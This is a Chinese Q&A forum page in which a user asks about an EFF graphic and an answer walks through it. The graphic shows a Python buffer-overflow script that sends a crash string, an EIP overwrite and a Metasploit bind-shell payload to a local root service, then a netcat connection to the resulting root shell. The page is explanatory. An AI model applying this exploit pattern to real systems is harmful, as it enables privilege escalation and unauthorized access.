电子前沿基金会的J类

2024-05-15 21:42:00 发布

您现在位置:Python中文网/ 问答频道 /正文

我偶然发现了这篇文章:Electronic Frontier Foundation - Coders' Rights Project.

我试着理解这幅图中的代码:

{1美元^

图片中的代码:

$ open catfood
catfood: Unable to open catfood
Permission denied
$ cat > canopener.py
#!/usr/bin/python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 7500))
crash = '\x41'*1337
eip = '\xFF\xFE\xEF\x08'
payload = open("msf-bindshell-8888.bin").read()
sock.send(crash+eip+payload)
sock.close()
$ chmod +x canopener.py; ./canopener.py
$ nc -vv localhost 8888
localhost [127.0.0.1] 8888 (?) open
# open catfood
Opening delicious catfood...

我的理解是,这是一种利用python代码进行未经授权的访问、连接到本地主机并发送有效负载的黑客行为,但我的知识还停留在这里。在

这是真的黑客攻击还是我不明白的笑话?在


Tags: 代码pylocalhostbinsocketopencrashsock
1条回答
网友
1楼 · 发布于 2024-05-15 21:42:00

这完全是基于现实。分解:

  • 用户希望运行命令open catfood,但缺少执行此操作所需的权限。在
  • 有一个程序以root用户身份在同一台计算机上运行,并监听127.0.0.1:7500。在
  • 所述程序包含一个缓冲区溢出漏洞,可导致堆执行。在
  • 用户创建一个名为canopener.py的文件来利用该漏洞,首先发送crash,1337个字母a(这就是'\x41'*1337产生的内容)来溢出缓冲区,然后eip,要运行的代码的地址(此处不提供计算此值的详细信息,因此我们假设他们计算正确),然后是payload,有效负载代码本身(msf-bindshell-8888.bin,来自Metasploit的有效负载,在端口8888上提供了一个shell)。在
  • 用户使攻击脚本canopener.py可执行,然后执行它。这将导致负载以root身份运行。在
  • 用户连接到8888端口,并显示一个根shell(由#提示符而不是过去的$提示符指示)。在
  • 用户使用新的根shell运行open catfood命令。在

相关问题 更多 >